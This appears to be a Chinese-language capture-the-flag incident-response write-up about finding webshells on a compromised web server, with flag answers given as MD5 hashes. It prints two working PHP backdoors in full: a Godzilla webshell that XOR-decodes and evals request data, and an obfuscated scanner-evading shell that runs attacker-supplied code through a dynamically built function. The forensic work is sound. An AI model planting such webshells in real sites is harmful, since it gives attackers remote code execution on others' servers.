DHCP
DHCP
Published on 2023-12-11 / 83 Visits
0
0

应急响应-webshell查杀

应急响应-webshell查杀

使用ssh连接后将html文件下载下来先放到D盾扫一遍发现有四个文件为隐藏后面,都打开看看
发现了gz.php文件里的内容是哥斯拉的shell,里面有一行注释

<?php
@session_start();
@set_time_limit(0);
@error_reporting(0);
function encode($D,$K){
    for($i=0;$i<strlen($D);$i++) {
        $c = $K[$i+1&15];
        $D[$i] = $D[$i]^$c;
    }
    return $D;
}
//027ccd04-5065-48b6-a32d-77c704a5e26d
$payloadName='payload';
$key='3c6e0b8a9c15224a';
$data=file_get_contents("php://input");
if ($data!==false){
    $data=encode($data,$key);
    if (isset($_SESSION[$payloadName])){
        $payload=encode($_SESSION[$payloadName],$key);
        if (strpos($payload,"getBasicsInfo")===false){
            $payload=encode($payload,$key);
        }
		eval($payload);
        echo encode(@run($data),$key);
    }else{
        if (strpos($data,"getBasicsInfo")!==false){
            $_SESSION[$payloadName]=encode($data,$key);
        }
    }
}

1.

这个就是黑客webshell里面的flag flag{xxxxx-xxxx-xxxx-xxxx-xxxx}

2.

黑客使用的什么工具的shell github地址的md5 flag{md5}
网址:https://github.com/BeichenDream/Godzilla md5后:39392de3218c333f794befef07ac9257

3.

黑客隐藏shell的完整路径为:/var/www/thml/include/Db/.Mysqli.php
md5后:31672399b98f04ff5b1c2e58ff668be1

4.

因为是黑客免杀马所以D盾扫不出来,查看了一下apache日志发现有一个top.php执行了phpinfo(),我们看一下

<?php

$key = "password";
//ERsDHgEUC1hI
$fun = base64_decode($_GET['func']);
for($i=0;$i<strlen($fun);$i++){
    $fun[$i] = $fun[$i]^$key[$i+1&7];
}
$a = "a";
$s = "s";
$c=$a.$s.$_GET["func2"];
$c($fun);

发现是免杀脚本,目录为:/var/www/html/data/tplcache/top.php md5后:1af60c7e1a8c88861c7be7d907806673


Comment